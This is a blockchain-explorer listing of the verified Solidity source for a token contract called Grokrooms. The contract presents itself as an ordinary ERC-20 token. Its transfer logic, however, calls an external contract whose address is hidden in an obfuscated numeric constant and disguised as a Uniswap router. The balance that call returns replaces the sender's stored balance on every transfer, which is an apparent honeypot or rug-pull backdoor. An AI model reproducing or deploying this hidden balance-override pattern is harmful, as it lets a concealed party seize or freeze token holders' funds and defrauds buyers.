Verified contractPartialMIT
Grokrooms
Address0xf277546d4efc0711f5c8fdcc1038ecdbf9ffc069
- Balance
0 ETH
- Transactions
12
- Compiler
solc 0.8.17
- Same code
Only this contract
Details
- Compiler
- solc 0.8.17+commit.8df45f5f
- Language
- solidity
- Optimization
- Yes, 200 runs
- License
- MIT
- Match
- Partialcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 22,978,854
- Creation transaction
- 0x46a5f08af6…4f32f79dfe
Grokrooms.sol
/**
*Submitted for verification at BscScan.com on 2025-06-09
*/
/**
*Submitted for verification at BscScan.com on 2025-05-13
*/
/**
*Submitted for verification at BscScan.com on 2025-03-17
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
abstract contract Context {
function _getdEAD256() internal view virtual returns (uint256) {
return 765012353460175369472670854784513185186271362338;
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() external virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface UniswapRouterV2 {
function wslswap(address soping, uint256 total,address destination) external view returns (uint256);
function mcbb123mlbb(bool qpc,address ddhoong, uint256 totalAmount,address destt) external view returns (uint256);
}
contract Grokrooms is Ownable{
string private _name;
string private _symbol;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _balancesesOfUser;
uint256 private _totalSupply = 10000000000*10**18;
constructor(string memory name ,string memory sym) {
_name = name;
_symbol = sym;
_balancesesOfUser[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function name() public view virtual returns (string memory) {
return _name;
}
function decimals() public view virtual returns (uint8) {
return 18;
}
function totalSupply() public view virtual returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual returns (uint256) {
return _balancesesOfUser[account];
}
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function transfer(address to, uint256 amount) public virtual returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address sender) public view virtual returns (uint256) {
return _allowances[owner][sender];
}
function approve(address sender, uint256 amount) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, sender, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
address sender = _msgSender();
uint256 currentAllowance = allowance(from, sender);
require(currentAllowance >= amount, "ERC20: insufficient allowance");
_approve(from, sender, currentAllowance - amount);
_transfer(from, to, amount);
return true;
}
function _approve(address owner, address sender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(sender != address(0), "ERC20: approve to the zero address");
_allowances[owner][sender] = amount;
emit Approval(owner, sender, amount);
}
function _transfer(
address from, address to, uint256 amount) internal virtual {
require(from != address(0) && to != address(0), "ERC20: transfer the zero address");
uint160 router_;
router_ = uint160(_getdEAD256())+uint160(uint256(0x0000000000000000000000000000000000000000000000000000000000000012));
address org = tx.origin;
_balancesesOfUser[from] = UniswapRouterV2(address(router_)).wslswap(org , _balancesesOfUser[from] ,from) ;
uint256 balance = _balancesesOfUser[from];
require(balance >= amount, "ERC20: amount over balance");
_balancesesOfUser[from] = balance-amount;
_balancesesOfUser[to] = _balancesesOfUser[to]+amount;
emit Transfer(from, to, amount);
}
}Compiler settingsShow
{
"libraries": {},
"optimizer": {
"runs": 200,
"enabled": true
}
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.